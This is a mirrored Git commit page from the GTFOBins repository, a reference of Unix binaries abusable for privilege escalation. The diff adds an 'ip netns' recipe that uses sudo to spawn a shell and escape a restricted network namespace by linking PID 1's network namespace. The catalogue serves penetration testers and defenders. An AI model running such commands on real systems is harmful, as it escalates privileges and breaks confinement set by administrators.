mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Update ip.md with to break out of restricted network namespace
Add command to allow access to interfaces in restricted namespace without affecting host networking Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
16e426e98c
commit
88e43c42a9
@ -24,4 +24,12 @@ functions:
|
|||||||
sudo ip netns add foo
|
sudo ip netns add foo
|
||||||
sudo ip netns exec foo /bin/sh
|
sudo ip netns exec foo /bin/sh
|
||||||
sudo ip netns delete foo
|
sudo ip netns delete foo
|
||||||
|
- description: This only works for Linux with CONFIG_NET_NS=y. This version also grants network access.
|
||||||
|
code: |
|
||||||
|
sudo ip netns add foo
|
||||||
|
sudo ip netns exec foo /bin/ln -s /proc/1/ns/net /var/run/netns/bar
|
||||||
|
sudo ip netns exec bar /bin/sh
|
||||||
|
sudo ip netns delete foo
|
||||||
|
sudo ip netns delete bar
|
||||||
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user